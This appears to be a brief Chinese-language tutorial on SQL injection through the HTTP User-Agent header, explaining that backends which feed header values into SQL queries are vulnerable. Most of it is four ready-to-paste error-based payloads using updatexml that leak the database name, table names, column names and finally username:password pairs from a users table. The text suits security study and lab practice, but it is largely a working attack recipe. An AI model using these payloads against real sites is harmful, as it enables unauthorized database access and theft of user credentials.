什么是Http Header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent
、accept
字段等等。
会对客户端的http header
信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑
则可能会导致基于http header
的SQL Inject
漏洞。
基于user-agent字段
验证
在user-agent
字段后输入'
效果如下
爆出数据库
User-Agent: 1'or updatexml(1,concat(0x7e,(database())),0) or'
爆出表
User-Agent: test001' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or'
爆出列
User-Agent:test001' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'
爆出内容
User-Agent:test001' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or'